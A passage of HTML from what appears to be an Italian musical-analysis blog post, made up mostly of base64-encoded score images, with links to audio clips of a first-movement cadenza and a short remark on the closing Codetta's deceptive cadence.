Ied22b4t9BFvLcvjZbeF4l32rlPgX0+NQyXj9LMy\/gcpd7Rsy2YZOSbB7zGbmoziOZrHWOhD1u2TaVfgdZxXMHO7VN395qMvr8njNte5ZmXsDlLveMmG3DJiXZPOYzcrDU4wu11jkS9tA2tahPJvHcxAYbeVIlP8\/MTSqpbn3qwjZM+4rlLveMmG3DJiXZPOYzcqQ+i+o27xxVvyvsz7Dnn4CMQQcOl1SizTOZIcPlPJfo6jJd2Yb77FNSmdYdjD4nJCn+QmGbL3JSks1j\/g3+reTqSjHvHF15XdjzsCeRs2+hzsMNvG9Lk5kkybU8lyi3bYq8fjGBJSTVaN3BKFWd28XZrR62yRa\/BGwYLS\/m+xDnRRXPoW2JViQgbEXYk8gdyq\/bcBm3aF4+8+S5kOcSJf60IxjhSgKrSKrRuoOR5yW3i7P7NuVVwr6vyfWADaPlxSxNIJ5DpPDqcrgYQdiTsCeRO5df6nDxu7GP63c4L55LlNU2xSNcSWAVSQVadzBmcGXK19etT9iLM\/0WsG3YpPVMSqBtLdXlIGxp2JPIzbfyZzLZ8ZNKtGEy54akuornEjX+\/cilS3+TrUqqzrqDsZb3KTdZug5hP+Z\/PWB8rYIxG2ZYMXpRAk2m\/DFskzjCfgx7Ern6HqhOpkmc8yGSkm+SSZ913tVzidq3TXV57C3vFuCf6yvZZEdeYrYNm7EyGROPKx29+b7XpSFsUdiTyHUlXV0DHao9qUSbZNJ2MW\/ouUT1v+G31br\/fx5bb17S7OoOxs19W8lWm\/KyO80Dtl2EjIkXTafilfOtrMukVShh38OeRG5Y0ud1njrH80l1GDGSRt2K8ddziR4vvwQAwLuj7qdNJ+GuvH6e6NLmnEvFRmwsaXmbB5x\/4vHpVLySkXbSwi6n4ZK+rO08K58xx\/OpdRuRbM8N7do2rVLxzS09i4u7toqkdWsecP6Jx+dS99YqC7uchkv6srbzrHzGHOvmznKeG9qsbap7a+aib2j1\/IOabPEoSavRPOD8E4\/Ppe6t5jknLexy2q7q37WdZ+Uz5nhiyKAkee5mp7Zp3bpvYunkMzSsh1aS5tg87N\/gc048mHz1i81zbriYS2u7qn\/Xdp6NyJjjzxl1HpQkz9289HPyYC2uXvrXLZr2DJoXT7ei6r\/pk0w8mGfPFyNhab6wR7stm3mOkcz7j0tzz61Mb5sidfweZLbSv2jRtBcSuTE7F9Ukm95\/4pF8+r\/7MyzNF\/bocgqGz\/E8n2Oaq4CL\/ruhdW\/GazFSvt+CjK3+hlbMeVfdymnmTR94jq6Mm5TzyT1zH81X9e\/aJgUPjp49x5MR+ydAnucmNmibih7+9vxJHPXHihTqO+f3bm613ec9062WYkvD2qafCUWCqD\/mp0rfWZO7uc+OR3qm+6zGlsa0TZGEgoMqPianSl84uTd0nx3XNm1vsbapdFwYTpW+sCA3dJNNj\/dMN1mQLQ1omyKRW40Lw6nSFxbkhm6y6aXt0R3WZD\/aJsilSv9ybO\/pJpte1DOxqPq26Sj\/v97ibVNR51ScN3SkSv+yGvd0k33XM92BtglyqdInZ\/a2brLv2qY7+NA2vW88AAD\/HHU\/bXrvsSJPBsM2GRSGU6Vwn1Pg87S9AW1TpJLOH1OXLESVwq1Ogc\/T3q62TUdJiWS0TcXpQl8KFe52CnykNtagbToSOqeTZ\/yoibUoVLjhKfCR2lXvtull1PNnmowFY6lVuOcp8KnaUpu26ajqZs4f\/viP9EwsR7nCbU+BD9Z+mrVNR+ue5mMcbRPLUa5w81Nw8+lvpmXbdDRta96D6JlYkYoFp4BtNG6bjnbNzUsEPROLUrTgFLCN9m3T37jXO6eXaA4ey1G34BSwjay26WjR6zz+V9v0oA\/VC04B20hsm\/4OUHdm9ExsQAGDU8A20tumv8MEeyA\/ZGInyhicArbRqW16GS\/i+XyfxCCJDwY4BWyjd9t0nkTRP4IlqGFwCtjGh7Yp\/gMhAIC7Ocb+tOnEMz8AgElM2ppomwCA2czbmmibAICpzNua+IETADCVefsSbRMAMJWJ\/rrLj+8mJQYAUKrHf1ylrnnSNgEAU0npSyJ\/80EwTkZ6AAAV2vclgb8vKto5aZsAgHnM3jbpnACASTRuSoI9U7Af0jYBAPPQNgEAhMzeNrVNDwCgmrYJACBk3rYp2FoBAPShbQIACJn0LyDQMwEAs5mxbQq2VgAAPY1pmyIRmicGAHBF7\/8mXfDFjKwAAK7IalBKG6ZDzwQAzC2xR\/FDJgBgJ+mdSuS3OmmYAID5depXdEsAwOo0LgAAIdomAIAQbRMAQIi2CQAgRNsEABCibQIACNE2AQCEaJsAAEK0TQAAIdomAIAQbRMAQIi2CQAgRNsEABCibQIACNE2AQCEaJsAAEK0TQAAIdomAIAQbRMAQIi2CQAgRNsEABCibQIACNE2AQCEaJsAAEK0TQAAIdomAIAQbRMAQIi2CQAgRNsEABCibQIACNE2AQCEaJsAAEK0TQAAIdomAIAQbRMAQIi2CQAgRNsEABCibQIACNE2AQCEaJsAAEK0TQAAIdomAIAQbRMAQMj\/ARIx3wdWH7qUAAAAAElFTkSuQmCC\" alt=\"\" width=\"226\" height=\"62\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Cadenza-a.mp3\">EkN 1\u00b0 Cadenza a<\/a><\/p>\n<p style=\"text-align: justify;\"><i>elemento gi\u00e0 presente nel Secondo Tema<\/i><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAo8AAADeCAIAAADTv31XAAAUBElEQVR4nO3d3ZrjKg6F4br\/m\/Yc9DyZTBLbApaEJH\/vYe8UCBCs\/qvefwcAAMjtb3cBAADgBmkNAEB2pDUAANmR1gAAZEdaAwCQHWkNAEB2pDUAANmR1gAAZEdaAwCQHWkNAEB2pDUAANmR1gAAZEdaAwCQHWkNAEB2pDUAANndp\/Xf\/7OO+2WtTgAAnusmRL9D15K7Hx8jsAEAWHGVoGehe5G7Zx8gsAEAmHaVuz9\/8CJ0Lf91rkoAAJ5sLD5X8phfXgMAMEeW1tO\/SQ4AAK7NpPXFfyKtAQCQG8jOxSQmrfHhz8HuNQGAC9PrJkli3lMcPgl9bfeKAUDA+v3Wix\/j9XyyuGS+s3snAGDSzR9CG1+628\/wXD5QQGqS3AAewpTB62HME\/koe3OR5AbQj+bfCTf+V57F9tKeNckNoLSBv2V2\/ZZdfIB38CFKnDKZDaCi4f+n1uhneAGfoOgRE9sAqlCm9RHyF4uQTY\/zJbNhZPlJ3qjda0IB4rQ++yrasauWh8uTig8eCX1t94qRjmNa03nt9T5ZXtKHc4rhCbt3AimMpfXAuLRad885Wd7QRwlITZIbE8b+Trh1UHrrAZ52uLye7e09WZIb1\/533hcdMBfVmgLxDLVeokKlwiLtaZLcePmR1h9nb28FWgcTvhumSiPxXPZQ4vjIbJym9VAH0C6YcN02JTqKt7K0ogdHbD\/T6a9pRnParUK0dd1shZ4eHsqKehwWmf0cHCf2uH1Zyj065Qp+spbHRGb3xkFij35p\/U\/Rsh+l99HwS+2uOD\/scfuOlH5l6lbe3nMOhcxuhpPDTmdvR4PHpXr9XT3tRMjsNjgzZNTmWWmwBFyolYKFSsU3Dgy59HtNOq0FL9\/HWqV1yeyiOCps9oTfqeu3oie77tISDdz4rjXGOWE\/AhuFXHdpoQZufN1a4oSyaB9XRo13oNlynun2kpbr3nIFP1aW43lso\/wM6caJZdF4+f1W9DT90vqfomU\/SoqDeWaXWHK6685cr6v92neXgHm3zVm6detW\/gT7T6X30\/zTUE7325mh967Twl9aLupRzk6wQd9Wr7+xzUfSOJPOzEV1m52xrKvlwt91XRfa9G2DJfSTLq17t8h0VLfZltG0jq8wRuOlPVO\/pu20lh52HkbvWPq2EtXX21Jo64aiusSKpvVenUXpU37C89VvRaVtO4npZKrLkMgze1Jr625LLbSWRe0XeK1W3\/40elUr6reiukjrINfrvWUfOWxFFzVcV3L2mQwLCdZgmaPtevaF3nV6a7acd82WU1eix71xux9N03ql8omV9lN3vYtN+z1CTNmu+q3opd+KKsqS1t\/\/NaAA1yl+zjhnaOSEy4kpqaKKm6M6+opNcl1txRXZ9VtRORsO4LanA9o9\/joNvXGjdz7ygfBbxTMV2hz50ddqj9t1te\/5losqJGNaH7o0vb5X6+OPVqJ65naZWEXatWDIw4\/esq6WC3\/XdV1VbE7r249J5nIafKKS0m\/c6BKSLwd2HL1lXf1W\/a3x0vKL3np7Q0ua\/vpeLQ4+Wslhe\/Uiq7Ibe6GLLAoWHP3Bb4O\/6b26zEhrvcXXzYjiocXRX7hdQoM1GrVfYFrZ03qxM85GcL1UHm\/ct67FRy42ueCt8DzwpEc5VOHZZzIv0MlDlpnNtrQWfvJ2EPuP+ynd3wEPtGqcBlJtxdrJJz2ylcprrdTJ09abxLa\/aWX\/8PqM1z8e03ml+3vshR58xbSjlZZwK4ZKyn9Y1etPgs3Z4tFpHXktS\/f3xEtt2ViPMYtKuxVzhSU8ph6ryIPNibcnreUfvh7ke8z4O1m6uT2euYkxww4rWOatyFnVqMw7DBg9Iq0z3MnSN1\/+xo0OGHxYkZJvRcKSRiXfYcCoc1qnupOlb\/6f9JvF7eey67DC5N+KP\/6dACCHpGm9eGcS3snSN\/\/v7k8TRkdboV7cTvm34k969PHy7zBgtCGt7Z+cvjMJb2Ppmy8sPvL13HvityK3YqXImIk8RO7wxjPKhq1wsuEbN+2fnD5mj9u4qHS\/Cos3Hs3KkWU7+jMBWyEpMmYiDwE7nOektmMrvD0rrT8+MDHytNKdKizecqWnr7p2NG+uWyEsMmwuOdcdznleW7AVMdKlteR0b0eI75vSbaoqfuhWD7WBx5jenLZCXmTkdFpOO5z\/1MKwFZFypbXqaF9fdTZCfNOU7lFV8U53e27Y7SdSouDtu7TCY4cnxtx1dt7YimA90\/pjQPuP+yndo6ri\/8zfDmQ\/\/fG3QtNa60pUu32XVsh3eHTA7cfnh62IlyitPY72bIT4pindo6ri\/\/7\/9zzWr\/TscyForXV\/Fb6VefsurdDu8EKjbT5EObZiiyxp7XS0ZyPEN03pHlUV\/zHO+nGXfjXeC0hY3j9Jypij3eHSzabFVmwx8GsdAACwR+hPDX7N6Fre2SBb1h45nZaqeO0mBHe+vGdKtESJIs8Iiw9oNo+mPXz61nsr8BNpHaR0m6qKz\/NqTE+nrV84mpMSRZ4RFu\/abK6t69G3fluBC5vT2vtoz8Z5\/\/GYHirdqarihZsQ\/2TIn5sSLVGiyDMZ+s1j2InKF5auqVlbwzPtTOuA0z0bJ76NSjerqnjhJsS\/F\/JWKdESJYo8s7ffPMacaEKPvnUtGGf2pHXYAX8MtbGZSres8Dgk47yGinwy5K1SoiVKFHlG22\/aZhsdcLqTPfrWr1pciN7K4DPO00+lu1Z4HJJx3ocK7iXJUK8BhaN9jJzwyOLJ+03VbMZ3SdLPTn0rr3OLKnX+kzStI+eKOa1CPfFNeCKScb6HCjhW+ZiuLaGqlr79Hmq92exPk2quoS+5HfB6IcK5AhSqecPvhGt7cWWiyPaq0hA\/qYoXbkL8frq+eh5UV2l9kF1y9tvo67T4WJXr23hVVhRXZWR2Rs5lLylsLjlV8cJNiN\/Pcq+epGD61mOoFXPTqYo\/irfET8FZMC2oxOD4jJzLXlLkdFrCc5GMox3KPmO5V2+9ZvrWY6hp09Opij+Kt8SZ+ESYEPSbwMHxeTt+\/Nnkb4ULquK1R6wayj5jxVdvcRb61mOoOSvTqYo\/irfEhfzrCvrZvV8vWiY9+4BwRktJkdNpqYrP+XraZ6z46i2WTd96DBWT0+\/TqYo\/irfEhfhQGBXxJ2fe7fhz3vcCzgrTTmosqSLS+qj86q1UTt96DBUW1Uflvo2XPLC9Kotsx9sy7D\/uWknkdFqk9VH51Vu5aPSt01BhD2Pdvo0XEEkr9qe1UwHvZdh\/3LWSyOm0SOuj8qtHWqcdKuBJrNu38WqktT1cAQBANH3+75v6rBj7j7tWEjmdlqp44SbE76e8Z8KWsHLv6NvMQxmnK9q38eITaojL77okieqDtBYhrY\/Kr97K7aNvMw9lnK5o38bblVNGjt83dZHTpHUtpPVR9tU7u4P2L\/erzVvOfiOtc1q8KQGivy3h\/cOqqW+rCpjoVpIy5pDWR9lX7\/omWr7ctTxXOfuNtM5p8aYEUH6TgCWn3z8vmdpSWMBEt5KUMYe0Pmq+evYrubFIPzn7jbROaP2mBBDUMRrVr69an7oQ1\/V6dxVpfRR89SQPUOl7mrPfSOtsSkT1EZPWZ1+1PnUhrlHq3Vuk9VHw1ZM8QKXvac5+I62zKRHVx3paz0X14dBDyd0udrpXAtpLNWzdJ++o9urN3crgIr3l7LfgLa3Vt\/FUNyXAUjXX67xeasK9cHW22Ns9vN2lgPZSDVv3yTtKvXrCB6j0Jc3Zb8FbWqhv4wlvSgDHtLZ8+crstXwv9nr37JsZ0GGqYes+eUedV0\/7AJW+pDn7LXhLq\/RtPO1NCTBf0\/pSc+6Ik\/fFXm\/dxJZ6d5hq5LpP3lHn1dO+QaUvac5+C97SKn0bT3tTAriktX2E6dnLeS32ukVydo+qGOEq4jdEfgp+SxC2UOlLmrPfgre0UN\/GS\/jYXph\/dtfXmXlf5P6t9GLfbu0tXlKwcBXxGyI\/BdclqFpob+MtytlvwVtaq2\/jZXtsL4jTemKQuQLKGQ+7RA20Xrx8XfEbIj8F1yXU3WchYfE5hzJOV6hv46luSoDJn26rXt6\/X7\/inCgpv5H80uxtquLla4\/fkLNKVgYUjvZz\/Os9NA6irSqSsPicQxmnq9W38SQ3JcDqH6YCAAB3w\/G+Nk5AhTktHNH+TVgs3smWTdAOKBztYpaVys++MOEB\/Syy91DG6Sr2bbw8fXsmLq3HXuJ8N39R6bUvnp2TLZugHVA42vVE03N9f2HmM\/outfdQxumK9m28DE17QZPWc181amqBWZReteT45LZsgnZA4Wi3c81N9\/5VJY7prPiWQxmnq9u38bY37YWItJ675Nlu\/qLSi\/0uRnim0+I3QTtp5BKmi399VZVj+ll816GM09Xt23jbm\/bCzPdcDd3G6Uue8PKvKL3MuXrkR793i+STBi9hrv6\/4v9OQO+hjNOV7tt42\/v2jG9aW27y9yBpL\/+KP\/Ort7vSH1RV\/RzHsicZNko+qfcSvrdrYgnTp2M5Ju+jFI6ccyjjdLX6Np7kpgTYk9bfn7F\/bcJNtHgvu9yiVOVNj5Nhx+STui7h4voMzXs9joVxZMWif0zReyjjdIX6Np7qpgRYTeuhD5993n6lE+6gUdGy\/1EdQd0n7yj16l0\/QEMLsQw1N4uko26L7z2UcboqfRtPeFMChKb19SeNg2TbQaOKNb9YetpyRsJNiN9PeeM5LWHlgFZGG51iophROfstuHWr9G087U0JEJfWt5+0T5pn++wq1vxib+sJ0yVp12iZUTup0xK0O+93spI2uJ2i91DG6Ur0bTztTQlQIK1H582pYs0v9rZ28rOkLZugHVA42mvMxY1dHNA+8vvgy+s+Hb\/3UMbp8vdtPI9+9haU1paRVfPmVLHml9HOjrFlE7QDCkd7jTm0V7c15D+XC8LahOsK3qISfRtPflMCkNZBKtb8Yn2nY23ZBO2AwtFeY2o3KvmhXBO2lnBpwbtUom\/j5e\/eb8P12Zc3tAtDo+Xf1m8Va36ZfvVcbdkE7YDC0V5janfp3wgJj8NC12vK9Qbvlfx0cp71qBIN\/IG0DlKx5hfB2+ZgyyZoBxSO9hpTu0vvI2Q4hSFurTfgZ1Xxm6AdUDjaLpaTyua\/JUa2LwAAGDOT8OYRhmYxDjVd9l4Va17k3Lnlf23tRLtLJZZ8xrsDp8VvgnZA4WgbbTyUOUFpbdmL64+V29kPFWuOUeLJO+qk9TF4726HkpS0xXRreYvfBO2AwtH22nUocyZLtC\/SvhfXH6u1rd+Klp3E9ifvKJXWh+6+FFryt+EUjRK\/CdoBhaNtt+tcJiz9zUbjIoc+djtX\/j39qWjZeCnXe5L7UmvJH76LFyStQvAmaGcMrj\/AlnOZEJHW75+\/\/YxkroTqVo5\/Krbf+q0pt+R308WLw\/mLdpmWtWgHFI6WRIl8kf3LCUNfcvFfJbMkVLp4HDXT+lh+hiou+UVY\/PdQpHUz+VNG8JdQhIv8OQ5pjQxKd+B08XWXfDintf0LSetCMl9zWcRKFvk9SI+oPrq3+BM0aMIJpZcsjMkMwT89XelDxIvmFFWZ+jFCm6g+ir96OJ766pVe8s9f11r8HEpYlWoo43SlDxEv4t8hkQT2x2g9Wq3HKp6sTSsOKb3k6bSeS3R7VcI1WqYrfYh4EZ\/iejerrkQ2ndbyTM0a0qj0kl3T2uhnVfGbEDkjnLic4nWz+n1tZs2W80D9etKi9JIDwnhO\/CZEzggnjqc41KAbuzlGy0U9StfOvFZ6yb6RuyB+EyJnhJOIUxxt4pa91XJRj\/LMV6\/0ksUZqxO\/CZEzwsm2U7zooZbt1W9FT9OyLW+VXnJ0CJvFb0LkjHDy4y9gAwCAXPb+ZOGntIWt6LciPMEz+\/aBry7yy9g3LRu634rwBPTtGdIawZL2Tb+G7rciPAF9u4i0hkrSvunX082Wg4egb4Ekkl5F0hrIgL4Fksjyr6P8\/FqnwrZothw8BH0LJOH+L4\/OZTZpDWRA3wJJ6K+i6u9DNnsmmi0HD0HfAkk4\/j+4FgO72TPRbDl4CPoWSCJ1Wnd6KTqtBc9B3wJJKK+iMaqNMUxaA9vRt0ASpHWQTmvBc9C3QBKp01pY23bNloOHoG+BJEjrIM2Wg4egb4Ekkqa1MdELabYcPAR9CyRBWgdpthw8BH0LJJHxO7j6RfXBq4ea6FsgiXRpbUz0cvqtCE9A3wJJbEhrywjaqjJouSi0R98CSYT+O+HGL5SXBGAO9xFIIuj\/wWX\/Eo96AMzhSgJJeF1FfkkNNMDFBJLwvYqWP8bmOQDS4noCSURcRUIaAIAVRCYAANmR1gAAZEdaAwCQHWkNAEB2pDUAANmR1gAAZEdaAwCQHWkNAEB2pDUAANmR1unwz70BAD6QB4l8JDSBDQD4hzDI4mdUk9YAgIO0TuI7mElrAMALYbAfqQwAuEZIbMavoQEAtwiJzUhrAMAtQmInohoAYEFO7ERaAwAsyIlt+FdQAABG5ES0v3O7SwMAJEVCbENIAwCMiIptSGsAgBFRsQ1pDQAwIir2IKoBAHakxR6kNQDAjrTYg7QGANiRFhvwXVsAgCGkxQZENQBgCIGxAWkNABhCYGxAWgMAhhAY0YhqAMAoMiMaaQ0AGEVmRCOtAQCjyIxopDUAYBSZEYqoBgBMIDZCkdYAgAnERiiiGgAwgeQIRVoDACaQHHGIagDAHMIjDmkNAJhDeHj5yGaiGgAwjfxw8f13v4lqAMA0IsTFe1Tzq2oAwCJSxMvfm921AABqI0gAAMiOtAYAIDvSGgCA7EhrAACyI60BAMiOtAYAIDvSGgCA7EhrAACyI60BAMjuPxYb3WbBIAmoAAAAAElFTkSuQmCC\" alt=\"\" width=\"188\" height=\"67\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-1\u00b0-Cadenza-b.mp3\">EkN 1\u00b0 Cadenza b<\/a><\/p>\n<p style=\"text-align: justify;\">L\u2019 ultima Codetta (b. 51) vede tutta l\u2019orchestra all\u2019unisono e termina con una cadenza d&#8217;inganno cui seguono due battute di chiusa.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 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Wli1mlFeteI3ghe5iucCra9s6LBP8qXBqlM+jyW9EAs72s+PYVt6j3APxeRjqzu3EhpvAuOl3r1LMGp394U6LPtG4fhsdo2+A53kCIg09foPIEsVMv+865lyymFGaBwo+tc++EB\/sDWNRL+CaknDoKRouZOuW6O6+93LLLfdCUffwnq0DAhROkPLZNO2NSNgJ\/3Eom8sLnS2xpd9Pzcay8SYwdPrdqxSzQGd\/u82iTzS034Ym6Tv6n3nupoqJlErkqsVMv+9S5lyymFGaBxqd8Pv4ZyELnw8N9oaxqBdzWckz7ix3r2K9rmiz3N33OJb6l0VWybmNr3w\/FmBdhXOkfEJNu1sKO+ftL5wtsaXfTP3esuUmMHr63av0FfJ2\/OwIeyz6RKP77W6Yykh9xy3nyRkpj8hVi5l+3wVNu2SZRZ5Qf45V+Hx8qM3HihS5OY8wJf\/qRbur5uI1\/dLf1919j29LlGiJkDv5yvdjgaW9vFUK0y+fVnnfiESO9ebWeYOzJbb0m6k\/37fcBEZPv3uVfh5t3IqcHWqPRZ9odL\/dDVMO1ne4W3lyRsogctVipt83dvIlyyks4dlaFz4fH2rzsYJN2ah7iQ+\/dLna1N3snJodv8XdfY+f8lcpf8LNfOX7scDq3tw2hbmXL8Rz\/vmRgLuEyoHmbjd5kuztrLA7FTxbL8XnuXvKZ6hVxyQB0+9eqJiyn8WeuO7dxbd0QL\/dzdP9mE9ky3O8PtLc3ab5aL0O1UvCSB\/CEt69suzX7fFjxVt3dsF3ODvdUFXKdhfUnLnhCPWf8yF5oeLj5Tk7pnjVZMd5eRf99trpF5a+fC2ev+sNauLIsUZki0+1sbOSblDqbL00MU\/N0BtXKWD63QsVU\/az2PHr3t2IRuo4dGSqbEuZLc\/x+khzd5vmo\/U6VC8JI30IS3j3yrJft8ePFW\/d+4Tg5ItW6Ylsd0EPo946VP3n\/Ja5VmHZsp0js9w69YYmWZEuOvPauRcmXu6Q6H9+JKx3I8fqnmpKto2d1fM\/Z8JqBc\/WS9Pz3AoQX5+GkOOO3DZQ91rFVP4s9s\/PI3ugi3GNNCJATJ4Rh22WLc\/x+khzd5vmo\/U6VC8JI30IS1hzZfn4fHyozceaYtxla6jI2IuW6KFsd0HPQ9YfsPz5C5vhrrSnTECwnGfKLPVzfElBKumiS++ce2HW5fYIvVuK7NrL4wc3Sn0FRlTj5c6KuWi1s\/VSkjxtMYZW5nm8oQe\/O\/3u5Yop\/lns5jrMNXqVx2UYWudsK5gtz\/H6SDFj9W3yly9Zm7CEZ2td+Hx8qM3HmmXFOQ694P4eK2agPBLeBXVJWHnYy+EGTGg3OQs1NNWgnlzarQluX40auqjeCydeWO5yb+T6h8fHDXr2hY4j1oeZUpA3+yjm0tXO1kt58mTI0DHbrYRDD\/4xyt2\/Kh+w49EKo3w5\/RPE6Jvhd6Shx78rW57j9ZFixurb6i9fsjZhCe+u9X7dHj\/WLAGXsO7CMi9XmS4S3gU9j1eT8ONr02e6tIS1GhdpXE8u7dYE31CQMl10ywvnXphyuTeGl2lWs\/7fDE8OHtYlDeftoJq81jbVztZLqfJMD9ArWEPIf98cPf3udYtZhXEFCXZrfYfO7iuk3xoi5ZEtz\/H6SDFj9e32ly9Zm7CEd9d6v26PH2uiVe4TvoUFXqssvSS8C\/qZrVmvgwdMcw\/ZajVo+Yb25NLuTnD7ghToogZvm35hvuXeGFijJJ16dvyYFrl9ykaV5T22qXa2XkqYpzJV96HLqQKq9P3NodPvXr2Atehe6lnu987A2X2F9FtbpCSy5TleHylmrL49\/\/Ila5M24X7dHj\/WRKvcKnwLS7tQTTpKeBdUn6c5aq\/j8FOqco1YvqE9ubq7E3xDTf6ki9q8rQKFyZZ7I8UbkXEZjvPSxPTH7VM2sDLb26za2XopYZ5ytu4jVqYKqNLHNwdNv3sZhy7KoFLP8qCJ+s\/uK6TfnkSaLlue4\/WRYsbq2\/wvX7I2aRPu1+3xY020yq3Ct5i0CxWkr4R3QYUkz+8Vex2HP+Wp2IjlG9STe2iY4PY1+ZMuavO2ChQmW+6Ni2eIAAAAAAAAS\/t8I9L9\/Ux9iKHOBgoI0GWFaNa9zhNX7UEfDUmVLc+R8h+aCKtSzNy7r93Q2COK3PFoI+YSlmrcTJtli5Qtz\/H6SDFj9T3jXr5kbdIm3K\/b48eaKOZa31FMziVKMUL9xINPxkH3is+P0HbMZ\/VYSZLJdi97Wyu+pwEa5viSyvyki5q9rRSFaZbbY+aj0u5DF\/LUf9596DZDg73EZW3rSz197bL1UrY8R5q7yZ\/CqhQz9+7LNzT2ZWHrpzNu4R7OZWKeEYd9IlukbHmO10eKGavvSffyJWuTNuF+3R4\/1kQx19aOYkLmr8Mg9ROP7JZx94qXf3Vrmh2DbSPJZLvHaGrGFy19wzTfU5xvuqjZ2wpSmGO5Q+b8dwUegXdRZ6UZ3Rb15+rZ2vDQZVVrqp1hBRP2UrY8R74fZpGrFjP37is4uh\/KJa2ZTszyjcgwIsnPSIOO3CxbpGx5jtdHihmr73n38iVrkzbhft0eP9YskZfXXmJC5q\/DILcmHnn1GXSvePn9tuP0ireHDDPtW\/DWfhy+6HkarG30mMypqpSwi34HGz3cXVNqMldhjuUmmfAe+DJxX7OWv7Iar2rTYJfNdlnztkXsvo4ZMjyPNDTPkeNW8qfIVYuZe\/d1HBr7y+k\/TEy\/3ZItUrY8x+sjrbhJvnzJ2qRNuF+3x481y5Tr7EP5Ey7tVm1j1mLoveLX4zvq5oTaOFLfgudc7lQ91jZ0QOZsVcrWRWepAsatN7E4sxQmWK5G6K5XmbivWWv\/9b9\/FaZefMiXOCtvuey31m7oUibspbkFOYsUMEq9yFULq3DfgebGLk\/nboeP6\/bIRroVKZVskbLlOV4facVN8uVL1iZtwv26PX6sKeZebZslj7e6u7UNuzEbfa949oeXB7wVbJWzbD99Cx7Tk3cjpeqxtqFHZ05YpVRdVIgUMHSl6SWaojC7cin6VKStOzdej+PXP0\/xzr5MotCBd0+bSt3z16fqO3Q5Up48R779JHLVYubefUHnxi5Mp2bJwno+spHuRsojW6RseY7XR1pxk3z5krVJm3C\/bo8fK16GC26b\/Am\/LVHPD3fTBkww5l7x7M\/Lh62JtOiJtpm+BY\/pybuRbo0+Oljb8UdXLGeV8nRRIUx5CtPjBVdpnLO5FCZYrkbQG5Gzv+oyek4fs9u1I5dwVu2G06ZS9\/yX2fqOeCtShjxHvv0kctVi5t59ZefGLkyn8bQf0\/yRjdQWKYNskbLlOV4facVN8uVL1iZtwv26PX6seGEX+u6WCHn8qvDsOLUaoo6eXcy94tlxyscvnEc1nsemUt+Cx\/Tk3UiVMWLiNQwRULrMVcrQRWcxJpaoMt6UWnVXmFFhjuWCdLs6NpR+m4X508ZTi9TlZL67SV22dFvDN0vYSyJdiswTM1b39p4b2+nfTKRL2fIcr4+04ib58iVrkzbhft0eP1aw4Gt9X\/Eh26q0VlW\/NUQdPcG517jC7CpunHOdaEliTNF3sgnrVtlmYevevJMMzbZBlUbLVqKabPFJBinMqDDHckGe1qVc9HLdt1mYP208tQCXfXWrvGffL3\/erH3a5\/m7H\/MhkS5F5okZq3t7z43t9G8m0qVseY7XR1pxk3z5krVJm3C\/bo8fK1Lwhb67sJwP74uWK+w\/DVFHT3DuNa4wu5oOyXCupQozS99p1h9q7kKf\/UcxYRr+JCDeilUKPkNTlaiQalaScQqTKkyzXJOxb0Rq\/vxhgLQ2ntpQ5Y5qO7HPvlz+vM2jyZ\/nH3HYJ0S6FJknZqzuHT43ttO\/mUiXsuU5Xh9pxU3y5UvWJm3C\/bo9fqww8Rf67gKidrk7WrG2hzci1Z8f+W6qHyaMiTRL3znWHyq+tpeLG5OnYZTIVlyrSlPO0CQlKoTZb+8qV\/tspuWyPKrO87rvtDwfNp7aIOV2ethmf37zP2fC+avdvmEaJOwlkS5F5okZq3uTz43t9G8m0qVseY7XR1pxk3z5krVJm3C\/bo8fK8yUa31fo29LOt4jrVXYf9rSDp3j3Gvcz8+\/etxRR04nYbBZ+k7w1qFSFTayA+9+P08TJqxSksp8C16s92xcZ5MqzLRcllFvROqP8CRAZhtPbYTyOfyw086+eXaoQTGaJewlkS5F5okZq3urz43t9G8m0qVseY7XR1pxk3z5krVJm7DhyvJE5LzCxoo0vbAPjUubvycDtE1naB1iKnw2hbO1ztwqjX28Vyd\/6DvBW4dKVdvIJrz7\/TyFSlilPMX5Jz7MC3etnwqTLVemvUBdLhUbL9Ku8xqh0EuX6o9\/OVxznv4V+ZV\/9BB3iXQpMk\/MWN27fUpsp\/9zIl3Klud4faQVN8mXL1mbtAnvXlkeipxX2FjB5hb2oUFpl+jJAG3TGVqHmAp\/TOFyrf\/93wn7pK2HIxNO0XeCdw+VpLbBfXjry3maMHOVxiW5ZdZKvW3X+qkw2fJ+3v+NSK\/cq9t1Xt0V7jlqdBzi5\/cr\/2pUUX7ljxmonkiXIvPEjNW95yNjO\/07EulStjzH6yOtuEm+fMnapE1YeSXqJXJeYWMFm1jV50YEXqUnA7RNZ2gdYip8d62\/\/+9UHdLSvjNyxus7wbuHSlLe4Fa89eUkJTrSV2lcmHqzYrxqy\/pQmG95P2+sUcfrxNdfj5\/aUqWyxywCFHqpRsfj\/\/yT8p8PKURxCsEjXhLpUmSemLG6N39AbKf\/CCJdypbneH2kFTfJly9Zm7QJ6y9GXUTOK2yseLOq+tyIwKv0ZICG6YyuQ0CFG9b6I1WSxnjUx3t18oe+E2w41PTyBi9x\/VipOjBtldq+P8LclXrPlvWhMN\/yfn79bz4CAAAAAACs6\/ONyN3XL2dHbP7zy6xrWSj2xCVoaIb6VM3HGTffNtnyHCJViMwTM1b3rWBobKf\/OCJdypbneH2kFTfJ+k0sUq\/ZDZI2oWVa14pV7R5YQ\/7UMKPRpRha5OaFTrj0C3VyfJ6+x2w4VHyRfwfINtys9itIWKWP70+v1fQAx5q3Lg8V5lveQkPfiNTs7AUNUSdaIvD0+g\/th+bjDJpss2x5DpEqROaJGav7PjA0ttN\/HJEuZctzvD7Siptk5SYWrNfsBkmb0DItbbmqdg+sG39qmNToagytc\/NCJ1z9JTp5Vqq+B2w4VHCdp49eHm5W+5Vlq9Kf359brukBvuVJEqMw3\/L+2e2NSNtf3dWQdpbkaTPUf3QnXP7t2aG6z\/ShbHkOkSpE5okZq\/smMDS2038ckS5ly3O8PtKKm2Tj7dFgvWY3SNqElml1axW2b1qt+OHuvAKqMfrg5cU9m13CBkjeyXOzdT9a2F91EbnQ3yOWwwS3X41UVer4Jx2lWrJUYUYrTLa8eQa9Ebm5sZc0BJ4ic9QkxR+d4fIPC5+3z2qAbHkOkSpE5okZq\/smMDS2038ckS5ly3O8PtKKm2TbPdJovWY3S